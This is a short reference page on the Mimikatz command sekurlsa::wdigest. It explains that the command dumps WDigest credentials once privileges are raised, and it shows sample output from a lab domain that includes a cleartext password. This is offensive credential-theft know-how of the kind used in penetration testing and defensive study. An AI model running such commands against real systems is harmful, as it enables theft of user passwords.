wdigest
sekurlsa::wdigest lists WDigest credentials. According to Microsoft, WDigest.dll was introduced in the Windows XP operating system. The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges, as documented in RFCs 2617 and 2831.
This command requires elevated privileges (by previously running privilege::debug or by executing Mimikatz as the NT-AUTHORITY\SYSTEM account).
1
mimikatz # sekurlsa::wdigest
2
โ€‹
3
Authentication Id : 0 ; 135255778 (00000000:080fd6e2)
4
Session : RemoteInteractive from 3
5
User Name : m3g9tr0n
6
Domain : hacklab
7
Logon Server : DC
8
Logon Time : 9/27/2021 1:22:05 PM
9
SID : S-1-5-21-2725560159-1428537199-2260736313-1730
10
wdigest :
11
* Username : m3g9tr0n
12
* Domain : hacklab
13
* Password : Super_SecretPass1!
Copied!
Last modified 6mo ago
Copy link